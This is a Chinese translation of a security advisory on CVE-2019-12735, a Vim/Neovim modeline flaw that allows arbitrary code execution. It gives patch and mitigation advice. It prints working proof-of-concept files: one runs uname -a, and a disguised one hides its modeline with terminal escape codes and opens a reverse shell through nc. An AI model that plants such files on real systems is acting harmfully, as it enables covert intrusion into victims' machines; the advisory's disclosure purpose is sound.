CVE-2019-12735:Linux Vim/Neovim编辑器任意代码执行漏洞

作者:   深圳市网安计算机安全检测技术有限公司 2019/06/24 10:36:54 190次阅读 国际
文章来源:https://www.4hou.com/vulnerable/18598.html

        研究人员发现Vim 8.1.1365之前版本和Neovim 0.3.6都存在任意代码执行漏洞。研究人员分析发现通过打开伪造的文本文件通过modelines功能来执行任意代码。

PoC

创建PoC的步骤:

1、创建poc.txt:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

2、确保modeline选项没有被禁用(:set modeline)

3、在vim中打开文件

$ vim poc.txt

4、系统就会自行uname -a.

PoC2 (reverse shell)

本PoC给出了当用户打开文件时启动逆向shell的真实攻击方法。为了隐藏攻击活动,该文件打开后需要马上重新。当文件内容用cat显示时,PoC使用了terminal escape序列来隐藏modeline。

注:cat -v会显示文件真实内容。

shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Demo (左侧为受害者,右侧为攻击者):

CVE-2019-12735:Linux Vim/Neovim编辑器任意代码执行漏洞

详情

        Modeline特征允许在文件的开始或结束位置指定自定义选项。该特征默认是启动的,并应用于所有的文件类型,包括plain.txt。典型的modeline如下:

/* vim: set textwidth=80 tabstop=8: */

出于安全考虑,只有一小部分选项允许储蓄在modeline中,如果选项值中含有表达式,就会在沙箱中执行。

沙箱的意思是防止副作用:

'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline'和'foldtext'选项都可能会在沙箱中进行评估。这可以给从modeline下设置的选项确保安全性。

但:source!命令可以用来绕过沙箱。该命令会从给定的文件中读取和执行命令,就像输入的一样。

:so[urce]! {file}       Read Vim commands from {file}. 这是正常模式下执行的命令,就好像输入的一样。这样,用户就可以构建一个运行在沙箱以外的modeline:

# vim: set foldexpr=execute('\:source! some_file'):

对Neovim来说,还需要一个步骤来将execute()加入黑名单:

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                该函数并不在沙箱|sandbox|中

也可以使用assert_fails() ,利用{cmd}参数:

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

下面的modeline使用fold表达式来运行source! %来执行当前文件,反过来作为shell命令执行uname -a || "(garbage)":

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另外,Neovim中的函数nvim_input()也可以用同样的方法进行攻击,比如:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

modeline相关的漏洞还有CVE-2002-1377, CVE-2016-1248,目前都已修复。

补丁

Vim patch 8.1.1365

Neovim patch (released in v0.3.6)

除了补丁以外,研究人员建议在vimrc 中禁用modelines(方法为:set nomodeline)或禁用modelineexpr来禁止modeline中的表达式。

打开vim输入:set modeline?检查modelines是否启用。如果vim返回nomodeline,就说明不存在漏洞。如果有漏洞,或想要确保该问题的安全性,可以在vimrc中加入以下代码:

set modelines=0
set nomodeline
本文翻译自:https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md


指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室